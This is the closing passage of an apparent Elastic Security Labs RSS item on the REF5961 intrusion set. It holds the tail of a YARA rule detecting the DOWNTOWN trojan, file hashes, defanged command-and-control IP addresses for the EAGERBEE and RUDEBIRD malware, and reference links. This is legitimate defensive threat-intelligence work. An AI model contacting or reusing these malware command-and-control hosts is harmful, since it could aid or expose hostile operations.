        threat_name = &quot;Windows.Trojan.DownTown&quot;
        license = &quot;Elastic License v2&quot;
        os = &quot;windows&quot;

    strings:
        $a1 = &quot;DeletePluginObject&quot;
        $a2 = &quot;GetPluginInfomation&quot;
        $a3 = &quot;GetPluginObject&quot;
        $a4 = &quot;GetRegisterCode&quot;

    condition:
        all of them
}
</code></pre>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/ref5961">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>ce4dfda471f2d3fa4e000f9e3839c3d9fbf2d93ea7f89101161ce97faceadf9a</code></td>
<td>SHA-256</td>
<td>EAGERBEE shellcode</td>
<td>iconcaches.mui</td>
</tr>
<tr>
<td><code>29c90ac124b898b2ff2a4897921d5f5cc251396e8176fc8d6fa475df89d9274d</code></td>
<td>SHA-256</td>
<td>DOWNTOWN</td>
<td>In-memory DLL</td>
</tr>
<tr>
<td><code>185.82.217[.]164</code></td>
<td>ipv4</td>
<td>EAGERBEE C2</td>
<td></td>
</tr>
<tr>
<td><code>195.123.245[.]79</code></td>
<td>ipv4</td>
<td>EAGERBEE C2</td>
<td></td>
</tr>
<tr>
<td><code>45.90.58[.]103</code></td>
<td>ipv4</td>
<td>RUDEBIRD C2</td>
<td></td>
</tr>
<tr>
<td><code>185.195.237[.]123</code></td>
<td>ipv4</td>
<td>RUDEBIRD C2</td>
<td></td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.elastic.co/kr/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">https://www.elastic.co/kr/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry</a></li>
<li><a href="https://www.elastic.co/kr/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns">https://www.elastic.co/kr/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns</a></li>
<li><a href="https://thediplomat.com/2022/06/mongolias-1-billion-tree-movement/">https://thediplomat.com/2022/06/mongolias-1-billion-tree-movement/</a></li>
<li><a href="https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/">https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/</a></li>
<li><a href="https://github.com/OALabs/hashdb/blob/main/algorithms/mult21_add.py">https://github.com/OALabs/hashdb/blob/main/algorithms/mult21_add.py</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager">https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/actor/ta428">https://malpedia.caad.fkie.fraunhofer.de/actor/ta428</a></li>
<li><a href="https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/">https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/introducing-the-ref5961-intrusion-set/photo-edited-08@2x.jpg" length="0" type="image/jpg"/>
        </item>
    </channel>
</rss>